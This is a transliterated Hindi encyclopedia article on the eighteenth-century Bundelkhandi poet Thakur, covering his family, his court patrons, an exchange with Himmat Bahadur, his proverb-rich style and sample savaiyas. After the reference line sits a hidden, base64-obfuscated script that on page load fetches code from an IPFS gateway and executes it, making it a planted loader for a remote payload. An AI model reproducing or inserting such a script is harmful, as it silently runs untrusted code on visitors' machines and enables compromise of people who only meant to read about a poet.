ठाकुर बुंदेलखंडी
thakur buandelakhandi ka poora nam 'lala thakuradas' tha. ye jati ke kayasth the. inake poorvaj kakori, lakhanoo zile ke rahane vale the aur inake pitamah 'khadgaray ji' b de bhari manasabadar the. unake putr gulabaray ka vivah b di dhoomadham se orachha, buandelakhand ke ravaraja[1] ki putri ke sath hua tha. ye hi gulabaray thakur kavi ke pita the.
janm tatha shiksha
kisi karan se gulabaray apani sasural orachha mean hi a base, jahaan sanvath 1823 mean thakur buandelakhandi ka janm hua. shiksha samapt hone par thakur achchhe kavi nikale aur jetapur mean samman pakar rahane lage. us samay jetapur ke raja kesari sianh ji the. thakur ke kul ke kuchh log 'bijavar' mean bhi ja base the. isase ye kabhi vahaan bhi raha karate the. bijavar ke raja ne ek gaanv dekar thakur ka samman kiya. jetapur naresh 'raja kesari sianh' ke uparaant jab unake putr raja 'parichhat' gaddi par baithe, tab thakur unaki sabha ke ratn hue.
khyati
parichhat ke samay mean hi thakur ji ki khyati phailane lagi thi aur ve buandelakhand ke doosare rajadarabaroan mean bhi ane jane lage. baanda ke himmat bahadur gosaeean ke darabar mean kabhi-kabhi padmakar ji ke sath thakur ki kuchh noank jhoank ki batean ho jaya karati thian.
ek bar padmakar ji ne kaha - 'thakur kavita to achchhi karate haian par pad kuchh halake p date haian.'
is par thakur bole - 'tabhi to hamari kavita u di u di phirati hai.'
itihas mean prasiddh hai ki himmatabahadur kabhi apani sena ke sath aangrejoan ka kary sadhan karate the aur kabhi lakhanoo ke navab ke paksh mean l date. ek bar himmatabahadur ne raja parichhat ke sath kuchh dhokha karane ke lie unhean baanda bulaya. raja parichhat vahaan ja rahe the ki marg mean thakur kavi mile aur do aise sanket bhare savaiye padhe ki raja parichhat laut ge. ek savaiya yah hai -
kaise suchitt bhe nikasau bihansau bilasau hari dai galabahian.
ye chhal chhidran ki batiyaan chhalati chhin ek ghari pal mahian॥
thakur vai juri ek bheean, rachihaian parapanch kachhoo braj mahian.
hal chavain ki duhachal ki lal tumhean hai dikhat ki nahian॥
kahate haian ki yah hal sunakar himmatabahadur ne thakur ko apane darabar mean bula bheja. bulane ka karan samajhakar bhi thakur bedh dak chale ge. jab himmatabahadur in par jhallane lage tab inhoanne yah kavitt padha -
veee nar nirnay nidan mean sarahe jat,
sukhan aghat pyala prem ko pie rahaian.
hari ras chandan chadhay aang aangan mean,
niti ko tilak, beandi jas ki dierahaian.
thakur kahat manju kanju te mridul man,
mohani saroop, dhare, himmat hie rahaian.
bheant bhe samaye asamaye, achahe chahe,
aur lauan nibahaian, aauankhaian ekasi kie rahaian.
is par himmatabahadur ne jab kuchh aur katu vachan kaha tab suna jata hai ki thakur ne myan se talavar nikal li aur bole-
sevak sipahi ham un rajapootan ke,
dan juddh juribe mean neku je n murake.
nit denavare haian mahi ke mahipalan ko,
hie ke visuddh haian, sanehi saanche ur ke.
thakur kahat ham bairi bevakoophan ke,
jalim damad haian adaniyaan sasur ke.
chojin ke choji maha, maujin ke maharaj,
ham kaviraj haian, pai chakar chatur ke.
himmat bahadur yah sunate hi chup ho ge. phir muskarate hue bole - 'kavi ji bas! maian to yahi dekhana chahata tha ki ap kore kavi hi haian ya purakhoan ki himmat bhi ap mean hai.' is par thakur ji ne b di chaturaee se uttar diya - 'maharaj! himmat to hamare oopar sada anoop roop se balihar rahi hai, aj himmat kaise gir jaegi?'[2] thakur kavi ka paralokavas sanvath 1880 ke lagabhag hua. at: inaka kavitakal sanvath 1850 se 1880 tak mana ja sakata hai. inaki kavitaoan ka ek achchha sangrah 'thakur thasak' ke nam se shriyuth lala bhagavanadinaji ne nikala hai. par isamean bhi doosare do thakur ki kavitaean mili huee haian. is sangrah mean visheshata yah hai ki kavi ka jivanavritt bhi kuchh de diya gaya hai. thakur ke putr dariyav sianh (chatur) aur pautr shankaraprasad bhi kavi the.
bhasha
thakur bahut hi sachchi umang ke kavi the. inamean kritrimata ka lesh nahian. n to kahian vyarth ka shabdadanbar hai, n kalpana ki jhoothi u dan aur n anubhooti ke viruddh bhavoan ka utkarsh. jaise bhavoan ka jis dhang se manushy matr anubhav karate haian vaise bhavoan ko usi dhang se yah kavi apani svabhavik bhasha mean utar deta hai. bolachal ki chalati bhasha mean bhav ko jyoan ka tyoan samane rakh dena is kavi ka lakshy raha hai. brajabhasha ki shrriangari kavitaean pray: stri patroan ke hi mukh ki vani hoti haian at: sthan sthan par lokoktiyoan ka jo manohar vidhan is kavi ne kiya unase uktiyoan mean aur bhi svabhavikata a gee hai. yah ek anubhoot bat hai ki striyaan bat bat mean kahavatean kaha karati haian. unake hriday ke bhavoan ki bharapoor vyanjana ke lie ye kahavatean mano ek sanchit vanmay haian. lokoktiyoan ka jaisa madhur upayog thakur ne kiya hai vaisa aur kisi kavi ne nahian. in kahavatoan mean se kuchh to sarvatr prachalit haian aur kuchh khas buandelakhand ki haian. thakur sachche udar, bhavuk aur hriday ke parakhi kavi the isi se inaki kavitaean visheshat: savaiye itane lokapriy hue. aisa svachchhand kavi kisi kram se baddh hokar kavita karana bhala kahaan pasand karata? jab jis vishay par ji mean aya kuchh kaha.
anekaangadarshi kavi
thakur pradhanat: premaniroopak hone par bhi lok vyapar ke anekaangadarshi kavi the. isi se premabhav ki apani svabhavik tanmayata ke atirikt kabhi to ye akhati, phag, basant, holi, hiandora adi utsavoan ke ullas mean magn dikhaee p date haian; kabhi logoan ki kshudrata, kutilata, du:shilata adi par kshobh prakat karate pae jate haian aur kabhi kal ki gati par khinn aur udas dekhe jate haian. kavikarm ko ye kathin samajhate the. roodhi ke anusar shabdoan ki l di jo d chalane ko ye kavita nahian kahate the. namoone ke lie yahaan inake tho de hi se pady die jate haian-
sikhi linhoan min mrig khanjan kamal nain,
sikhi linhoan jas au pratap ko kahano hai.
sikhi linhoan kalpavriksh kamadhonu chiantamani,
sikhi linhoan meru au kuber giri ano hai
thakur kahat yaki b di hai kathin bat,
yako nahian bhooli kahooan baandhiyat bano hai.
dhel so banay ay melat sabha ke bich,
logan kavitt kibo khel kari jano hai
das bar, bis bar, baraji dee hai jahi,
etai pai n manai jau tau jaran baran dev.
kaiso kaha kijai kachhoo apano karo n hoy,
jake jaise din tahi taiseee bharan dev.
thakur kahat man apano magan rakho,
prem nihasank rasarang biharan dev.
bidhi ke banae jiv jete haian jahaan ke tahaan,
khelat phirat tinhaian khelan phiran dev
apane apane suthi gehan mean chadhe dooo saneh ki nav pai ri!
aanganan mean bhijat premabhare, samayo lakhi maian bali jaooan pai ri!
kahai thakur doun ki ruchi so rang hvai um de dou thaanv pai ri.
sakhi, kari ghata barase barasane pai, gori ghata nandagaanv pai ri
va niramohini roop ki rasi joo ur hetu n thanati hvai hai.
barahi bar biloki ghari ghari soorati tau pahichanati hvai hai
thakur ya man ki paratiti hai; jo pai sanehu n manati hvai hai.
avat haian nit mere lie, itani to visesh kai janati hvai hai
yah charahu or udau mukhachand ki chaandani charu nihari lai ri.
bali jau pai adhin bhayo piy, pyari! tau etau bichar bichari lairi
kabi thakur chooki gayo jau gopal tau taian bigari kauan sabhari lai ri.
ab raihai n raihai yahai samayo, bahati nadi paany pakhari lai ri
pavas mean parades te ay mile piy au manabhaee bhee hai.
dadur mor papihara bolat; ta par ani ghata unee hai॥
thakur va sukhakari suhavani damini kauandha kitai ko gee hai.
ri ab tau ghanaghor ghata garajau barasau tumhaian dhoor dee hai
piy pyar karaian jehi pai sajani tehi ki sab bhaantin saiyat hai.
man man karauan tau parauan bhram mean, phir pachhe pare pachhataiyat hai
kavi thakur kaun ki kasauan kahauan? din dekhi dasa bisaraiyat hai.
apane atake sun e ri bhatoo! nij saut ke mayake jaiyat hai
tika tippani aur sandarbh
achary, ramachandr shukl “prakaran 3”, hindi sahity ka itihas (hindi). bharatadiskavari pustakalay: kamal prakashan, nee dilli, prishth san. 261-64.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh